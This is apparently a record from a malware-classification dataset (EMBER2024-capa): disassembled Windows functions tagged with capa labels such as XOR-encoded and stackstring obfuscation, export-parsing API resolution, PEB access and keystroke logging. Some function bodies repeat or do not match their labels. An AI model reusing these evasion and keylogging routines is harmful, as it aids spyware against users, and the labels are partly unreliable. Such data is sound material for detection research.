joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004e60
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r11d, r11d
lea rsi, str.Captcha_tgrapevine_ttapestry_tsportingevents_tauswertung_tvault_tkle_tabfall_tterms_tiisadmpwd_ttowns_tcool_tfilters_tdates_tsigma_thffiles_tnew_taudio_tremindme_tawmdata_tencyption_tktmlpro_tjenna_tfpdf_tadvertenties_tcatall_ttop_tclientapi_ttypesofwells_tcdn_tbadrobot_tcalbellibefr_ttopo_tproductcart_tsunshop_tnewpage_tqnasearch_tnnno_tpatty_tatx_tcanal
mov r10, rax
sub rbx, rax
movabs rdi, 0x670b453b92840671
lea r9, [rax + 2]
nop dword [rax + rax]
movsxd r8, r11d
lea r9, [r9 + 0xc]
mov rax, rdi
mov rcx, r8
mul r8
add r11d, 6
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 1]
xor al, byte [rbx + r9 - 0xe]
movsx eax, al
mov word [r9 - 0xe], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 2]
xor al, byte [r9 + rbx - 0xc]
movsx eax, al
mov word [r9 - 0xc], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 3]
xor al, byte [rbx + r9 - 0xa]
movsx eax, al
mov word [r9 - 0xa], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 4]
xor al, byte [rbx + r9 - 8]
movsx eax, al
mov word [r9 - 8], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 5]
xor al, byte [rbx + r9 - 6]
movsx eax, al
mov word [r9 - 6], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rbx + r9 - 4]
movsx eax, al
mov word [r9 - 4], ax
cmp r11d, 6
jb 0x140004eb0
mov rbx, qword [rsp + 0x30]
mov rax, r10
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140004fd0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0xe]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor r11d, r11d
lea rsi, str.Captcha_tgrapevine_ttapestry_tsportingevents_tauswertung_tvault_tkle_tabfall_tterms_tiisadmpwd_ttowns_tcool_tfilters_tdates_tsigma_thffiles_tnew_taudio_tremindme_tawmdata_tencyption_tktmlpro_tjenna_tfpdf_tadvertenties_tcatall_ttop_tclientapi_ttypesofwells_tcdn_tbadrobot_tcalbellibefr_ttopo_tproductcart_tsunshop_tnewpage_tqnasearch_tnnno_tpatty_tatx_tcanal
mov r10, rax
sub rbx, rax
movabs rdi, 0x670b453b92840671
lea r9, [rax + 2]
nop dword [rax + rax]
movsxd r8, r11d
mov rax, rdi
mul r8
mov rcx, r8
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 1]
xor al, byte [rbx + r9 - 2]
movsx eax, al
mov word [r9 - 2], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 2]
xor al, byte [rbx + r9]
movsx eax, al
mov word [r9], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 3]
xor al, byte [rbx + r9 + 2]
movsx eax, al
mov word [r9 + 2], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 4]
xor al, byte [rbx + r9 + 4]
movsx eax, al
mov word [r9 + 4], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 5]
xor al, byte [rbx + r9 + 6]
movsx eax, al
mov word [r9 + 6], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 6]
xor al, byte [rbx + r9 + 8]
movsx eax, al
mov word [r9 + 8], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 7]
xor al, byte [rbx + r9 + 0xa]
movsx eax, al
mov word [r9 + 0xa], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rbx + r9 + 0xc]
movsx eax, al
mov word [r9 + 0xc], ax
lea rcx, [r8 + 8]
mov rax, rdi
mul rcx
add r11d, 0xb
lea r9, [r9 + 0x16]
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 9]
xor al, byte [rbx + r9 - 8]
movsx eax, al
mov word [r9 - 8], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
lea rcx, [r8 + 0xa]
xor al, byte [rbx + r9 - 6]
movsx eax, al
mov word [r9 - 6], ax
mov rax, rdi
mul rcx
shr rdx, 7
imul rax, rdx, 0x13e
sub rcx, rax
movzx eax, byte [rcx + rsi]
xor al, byte [rbx + r9 - 4]
movsx eax, al
mov word [r9 - 4], ax
cmp r11d, 0xb
jb 0x140005020
mov rbx, qword [rsp + 0x30]
mov rax, r10
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140009b70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x61
mov dword [rbp - 0x20], 0x240008
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x3a0022
mov dword [rbp - 0x18], 0x240026
mov dword [rbp - 0x14], 0x480023
mov dword [rbp - 0x10], 0x370034
call fcn.140004fd0
mov rcx, rax
call 0x14000eb10
mov qword [0x1400181b8], rax
lea rcx, [rbp - 0x20]
mov eax, 0x67
mov dword [rbp - 0x20], 0x240008
mov word [rbp - 0x10], ax
mov dword [rbp - 0x1c], 0x3a0022
mov dword [rbp - 0x18], 0x240026
mov dword [rbp - 0x14], 0x3b0052
call fcn.1400022a0
mov rcx, rax
call 0x14000eb10
lea rcx, [rbp - 0x20]
mov qword [0x1400181a8], rax
mov dword [rbp - 0x20], 0x15002d
mov dword [rbp - 0x1c], 0x180014
mov dword [rbp - 0x18], 0x68000f
call fcn.140004e60
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000eb10
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000eb72
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.140009300
test al, al
jne 0x14000eb84
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000eb40
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14000e7b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
movsxd rax, dword [rcx + 0x3c]
mov r12, rdx
mov rdx, rcx
mov ecx, dword [rax + rcx + 0x88]
xor eax, eax
add rcx, rdx
mov dword [rbp - 0x2c], eax
mov qword [rbp - 0x28], rcx
mov r8d, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
add r8, rdx
mov r10d, dword [rcx + 0x24]
add r9, rdx
add r10, rdx
mov qword [rbp - 0x20], r8
mov qword [rbp - 0x18], r9
mov qword [rbp - 0x10], r10
cmp dword [rcx + 0x18], eax
jbe 0x14000e9de
mov word [rbp + 0x50], 0x6143
mov word [rbp + 0x58], 0x6143
nop
mov esi, dword [r9 + rax*4]
lea rcx, [rbp + 0x50]
movzx eax, word [r10 + rax*2]
add rsi, rdx
xor edi, edi
mov r15d, dword [r8 + rax*4]
add r15, rdx
mov qword [rbp - 8], r15
call fcn.140001770
movzx ecx, byte [rax]
cmp byte [rsi], cl
je 0x14000e864
nop dword [rax]
lea rcx, [rbp + 0x50]
inc rdi
call fcn.140001770
movzx ecx, byte [rax]
cmp byte [rdi + rsi], cl
jne 0x14000e850
lea rcx, [rbp + 0x58]
xor ebx, ebx
call fcn.140001770
movzx ecx, byte [rax]
cmp byte [r12], cl
je 0x14000e895
nop dword [rax + rax]
lea rcx, [rbp + 0x58]
inc rbx
call fcn.140001770
movzx ecx, byte [rax]
cmp byte [rbx + r12], cl
jne 0x14000e880
cmp rdi, rbx
jne 0x14000e9b2
mov r13, rsi
mov word [rbp - 0x50], 0x6143
sub r13, r12
mov r14, r12
nop dword [rax]
lea rcx, [rbp - 0x50]
xor ebx, ebx
call fcn.140001770
movzx ecx, byte [rax]
cmp byte [rsi], cl
je 0x14000e8d6
lea rcx, [rbp - 0x50]
inc rbx
call fcn.140001770
movzx ecx, byte [rax]
cmp byte [rbx + rsi], cl
jne 0x14000e8c2
mov rax, r14
sub rax, r12
dec rbx
cmp rax, rbx
jae 0x14000e9d8
movsx r15d, byte [r14 + r13]
lea rcx, [rbp - 0x4e]
mov dword [rbp - 0x4e], 0x610022
call fcn.140002490
movzx eax, word [rax]
cmp r15d, eax
jl 0x14000e948
lea rcx, [rbp - 0x4a]
mov dword [rbp - 0x4a], 0x610039
call fcn.140002490
movzx ecx, word [rax]
cmp r15d, ecx
jg 0x14000e948
lea rcx, [rbp - 0x46]
mov dword [rbp - 0x46], 0x610022
mov dword [rbp - 0x42], 0x610002
call fcn.140002490
lea rcx, [rbp - 0x42]
movzx ebx, byte [rax]
call fcn.140002490
movzx ecx, byte [rax]
sub cl, bl
add r15b, cl
movsx edi, byte [r14]
lea rcx, [rbp - 0x3e]
mov dword [rbp - 0x3e], 0x610022
call fcn.140002490
movzx eax, word [rax]
cmp edi, eax
jl 0x14000e9a5
lea rcx, [rbp - 0x3a]
mov dword [rbp - 0x3a], 0x610039
call fcn.140002490
movzx ecx, word [rax]
cmp edi, ecx
jg 0x14000e9a5
lea rcx, [rbp - 0x36]
mov dword [rbp - 0x36], 0x610022
mov dword [rbp - 0x32], 0x610002
call fcn.140002490
lea rcx, [rbp - 0x32]
movzx ebx, byte [rax]
call fcn.140002490
movzx ecx, byte [rax]
sub cl, bl
add dil, cl
cmp r15b, dil
jne 0x14000e9b2
inc r14
jmp 0x14000e8b0
mov eax, dword [rbp - 0x2c]
mov rcx, qword [rbp - 0x28]
inc eax
mov dword [rbp - 0x2c], eax
cmp eax, dword [rcx + 0x18]
jae 0x14000e9de
mov rdx, qword [rbp + 0x40]
mov r8, qword [rbp - 0x20]
mov r9, qword [rbp - 0x18]
mov r10, qword [rbp - 0x10]
jmp 0x14000e820
mov rax, qword [rbp - 8]
jmp 0x14000e9e0
xor eax, eax
mov rbx, qword [rsp + 0xb8]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000eb10
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov eax, 0x61
mov dword [rbp - 0x20], 0x240008
lea rcx, [rbp - 0x20]
mov word [rbp - 0xc], ax
mov dword [rbp - 0x1c], 0x3a0022
mov dword [rbp - 0x18], 0x240026
mov dword [rbp - 0x14], 0x480023
mov dword [rbp - 0x10], 0x370034
call fcn.140004fd0
mov rcx, rax
call 0x14000eb10
mov qword [0x1400181b8], rax
lea rcx, [rbp - 0x20]
mov eax, 0x67
mov dword [rbp - 0x20], 0x240008
mov word [rbp - 0x10], ax
mov dword [rbp - 0x1c], 0x3a0022
mov dword [rbp - 0x18], 0x240026
mov dword [rbp - 0x14], 0x3b0052
call fcn.1400022a0
mov rcx, rax
call 0x14000eb10
lea rcx, [rbp - 0x20]
mov qword [0x1400181a8], rax
mov dword [rbp - 0x20], 0x15002d
mov dword [rbp - 0x1c], 0x180014
mov dword [rbp - 0x18], 0x68000f
call fcn.140004e60
mov rcx, rax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rbp
jmp 0x14000eb10
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rsi, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000eb72
nop dword [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbx + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.140009300
test al, al
jne 0x14000eb84
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x14000eb40
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rbx + 0x20]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x14000eda0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rbx, qword [0x1400181c0]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x90010
mov dword [rbp - 0x1c], 0x180015
mov dword [rbp - 0x18], 0x5b000f
mov dword [rbp - 0x14], 0x270053
mov dword [rbp - 0x10], 0x1e0003
mov dword [rbp - 0xc], 0x70000d
call fcn.1400029c0
mov rcx, rax
call rbx
mov rbx, qword [0x1400181c0]
lea rcx, [rbp - 0x20]
mov qword [0x1400181a0], rax
mov dword [rbp - 0x20], 0x80014
mov dword [rbp - 0x1c], 0x1d001e
mov dword [rbp - 0x18], 0xd000d
mov dword [rbp - 0x14], 0x270015
mov dword [rbp - 0x10], 0x1e0003
mov dword [rbp - 0xc], 0x70000d
call fcn.1400029c0
mov rcx, rax
call rbx
movdqa xmm0, xmmword [0x140017550]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400181b0], rax
mov word [rbp - 0x10], 0x5e13
mov byte [rbp - 0xe], 0x74
call fcn.140004620
mov rcx, qword [0x1400181a0]
mov rdx, rax
call rbx
mov rbx, qword [0x140018130]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x18150910
mov dword [rbp - 0x1c], 0x6c192d0f
mov dword [rbp - 0x18], 0x15150704
mov word [rbp - 0x14], 0x7632
call fcn.140001180
mov rcx, qword [0x1400181a0]
mov rdx, rax
call rbx
mov rbx, qword [0x140018130]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x11040f0a
mov dword [rbp - 0x1c], 0x7d040611
mov dword [rbp - 0x18], 0x1e040228
mov word [rbp - 0x14], 0x7624
call fcn.140001180
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140017610]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400180e8], rax
mov byte [rbp - 0x10], 0x65
call fcn.140004330
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x1400174f0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400180f0], rax
mov dword [rbp - 0x10], 0x61116501
call fcn.140002660
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140017570]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400180e0], rax
mov byte [rbp - 0x10], 0x65
call fcn.140004330
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x1400175f0]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [0x1400180d8], rax
mov dword [rbp - 0x10], 0x201a660c
mov byte [rbp - 0xc], 0x70
call fcn.140003130
mov rcx, qword [0x1400181b0]
mov rdx, rax
call rbx
movdqa xmm0, xmmword [0x140017510]
lea rcx, [rbp - 0x20]
mov rbx, qword [0x140018130]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0x480b
mov byte [rbp - 0xe], 0x74
call fcn.140004620
mov rcx, qword [0x1400181b0]
mov rdx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rbp
jmp rax
Function at 0x140001109
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
jmp 0x140008ee0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movzx edi, dx
xor edx, edx
mov rsi, r8
mov ecx, edi
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
movzx ebx, al
bts ebx, 9
shl ebx, 0x10
cmp edi, 0x21
jl 0x140008f1f
cmp edi, 0x28
jle 0x140008f1b
lea ecx, [rdi - 0x2d]
cmp ecx, 1
ja 0x140008f1f
bts ebx, 0x18
mov r8d, 0x104
mov rdx, rsi
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyNameTextW]
mov rsi, qword [rsp + 0x38]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140001127
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x1400143e0
push rbx
sub rsp, 0x40
mov rbx, r8
test r8, r8
je 0x14001443d
lea rax, [rsp + 0x68]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov dword [rsp + 0x68], 4
mov dword [rsp + 0x30], 4
mov dword [rsp + 0x60], 0
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14001443d
mov eax, dword [rsp + 0x60]
mov dword [rbx], eax
mov eax, 1
add rsp, 0x40
pop rbx
ret
xor eax, eax
add rsp, 0x40
pop rbx
ret
Function at 0x140001172
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x14000b4e0
push rbp
push rsi
push rdi
push r12
sub rsp, 0x248
mov rax, qword [0x140058188]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rsi, r9
mov rdi, r8
mov ebp, edx
mov r12, rcx
test r8, r8
jne 0x14000b516
xor eax, eax
jmp 0x14000b637
mov qword [rsp + 0x270], rbx
movzx eax, dx
movzx ebx, dx
shr bx, 2
and ax, 1
mov qword [rsp + 0x240], r13
shl ax, 2
and bx, 1
xor r13d, r13d
or bx, ax
movzx eax, dx
mov rdx, r9
and ax, 2
or bx, ax
shr rdx, 1
je 0x14000b5a2
cmp rdx, 0x7fffffff
ja 0x14000b5a2
mov rcx, r8
lea r9, [0x14004bebc]
mov r8d, 0x7ffffffe
sub r8, rdx
sub r9, rdi
lea rax, [r8 + rdx]
test rax, rax
je 0x14000b595
movzx eax, word [r9 + rcx]
test ax, ax
je 0x14000b595
mov word [rcx], ax
add rcx, 2
sub rdx, 1
jne 0x14000b573
jmp 0x14000b59a
test rdx, rdx
jne 0x14000b59e
sub rcx, 2
mov word [rcx], r13w
test bl, 2
je 0x14000b5b9
lea r8, str.Ctrl
mov rdx, rsi
mov rcx, rdi
call fcn.14000135c
test bl, 1
je 0x14000b5d0
lea r8, str.Shift
mov rdx, rsi
mov rcx, rdi
call fcn.14000135c
test bl, 4
mov rbx, qword [rsp + 0x270]
je 0x14000b5ef
lea r8, str.Alt
mov rdx, rsi
mov rcx, rdi
call fcn.14000135c
lea rcx, [rsp + 0x22]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x20], r13w
call fcn.140017cd0
shr ebp, 0x10
lea r8, [rsp + 0x20]
movzx edx, bp
mov rcx, r12
call fcn.140001109
lea r8, [rsp + 0x20]
mov rdx, rsi
mov rcx, rdi
call fcn.14000135c
mov r13, qword [rsp + 0x240]
mov eax, 1
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140017ca0
add rsp, 0x248
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000125d
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x140013510
push rbx
push rsi
push rdi
sub rsp, 0x80
xor eax, eax
xor esi, esi
mov rdi, rcx
mov rcx, qword [rcx + 0x2d8]
mov dword [rdx], esi
mov dword [rdx + 4], eax
mov dword [rdx + 8], eax
mov rbx, rdx
mov dword [rdx + 0xc], eax
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x60], rsi
call fcn.14000122b
test eax, eax
je 0x140013683
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0xa0]
lea rdx, str.Toolbar
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0xa0], esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140013678
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0xa8]
lea rdx, [rdi + 0x2c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov qword [rsp + 0x50], rsi
mov dword [rsp + 0xa8], esi
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14001366d
mov rcx, qword [rsp + 0x50]
xor eax, eax
lea r9, [rsp + 0xb8]
mov dword [rsp + 0x6c], eax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x74], eax
lea rax, [rsp + 0xb0]
lea rdx, [0x14004d890]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x68]
mov dword [rsp + 0x68], esi
mov dword [rsp + 0xb0], 0x10
mov dword [rsp + 0xb8], 3
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140013662
lea rcx, [rsp + 0x68]
mov rax, qword [rcx]
mov qword [rbx], rax
mov rax, qword [rcx + 8]
mov qword [rbx + 8], rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rbx
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400012a3
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x140013480
push rbx
sub rsp, 0x40
mov rax, r8
mov r10, rdx
lea rcx, [rsp + 0x34]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x30]
mov rbx, r9
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x38]
xor r8d, r8d
mov rcx, r10
mov rdx, rax
mov dword [rsp + 0x34], 4
mov dword [rsp + 0x38], 4
mov dword [rsp + 0x30], 0
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400134e4
mov eax, dword [rsp + 0x30]
mov dword [rbx], eax
mov eax, 1
add rsp, 0x40
pop rbx
ret
xor eax, eax
add rsp, 0x40
pop rbx
ret
Function at 0x1400012f8
Capabilities:
Set registry value

Disassembly:
jmp 0x140014460
sub rsp, 0x38
test r8, r8
jne 0x140014470
xor eax, eax
add rsp, 0x38
ret
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r8
mov r9d, 4
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
add rsp, 0x38
ret
Function at 0x140001370
Capabilities:
Query environment variable

Disassembly:
jmp 0x14000c3f0
push rbx
push rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x140058188]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rsi, r9
mov rdi, r8
mov rbx, rdx
test r8, r8
je 0x14000c4ac
test rdx, rdx
je 0x14000c4ac
mov qword [rsp + 0x270], rbp
lea rcx, [rsp + 0x32]
xor ebp, ebp
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], bp
call fcn.140017cd0
lea rdx, [rsp + 0x30]
lea rcx, str.SystemRoot
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x14000c47d
lea rdx, [rsp + 0x30]
lea rcx, str.windir
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r9, [rsp + 0x30]
lea r8, str._s_nview_nvtb__08X__08X.bmp
mov rdx, rsi
mov rcx, rdi
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebp
call fcn.1400011bd
mov rbp, qword [rsp + 0x270]
mov eax, 1
jmp 0x14000c4ae
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140017ca0
add rsp, 0x250
pop rdi
pop rsi
pop rbx
ret

Function at 0x14000139d
Capabilities:
Set registry value

Disassembly:
jmp 0x140013440
sub rsp, 0x38
mov rax, r8
mov rcx, rdx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r9
xor r8d, r8d
mov rdx, rax
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add rsp, 0x38
ret